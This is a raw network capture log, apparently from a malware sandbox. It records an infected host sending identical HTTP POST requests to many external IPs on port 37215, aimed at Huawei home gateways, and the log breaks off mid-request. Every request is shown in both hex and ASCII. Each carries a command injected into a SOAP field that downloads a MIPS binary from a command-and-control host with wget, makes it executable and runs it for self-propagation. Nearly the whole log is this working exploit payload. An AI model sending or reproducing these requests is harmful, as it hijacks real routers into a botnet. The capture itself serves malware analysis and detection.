73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	51586	197.12.141.193	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.158627033 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	36468	156.58.196.76	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.159251928 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	53032	197.200.127.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.159909964 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	42560	197.53.160.110	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.160598993 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	35748	41.14.37.113	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.161214113 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	45598	156.244.104.217	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.161830902 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	51232	41.156.32.14	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.162432909 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	50404	197.240.205.11	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.179117918 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	56454	197.78.199.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:10.182040930 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	43040	197.86.1.46	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:10.182868958 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 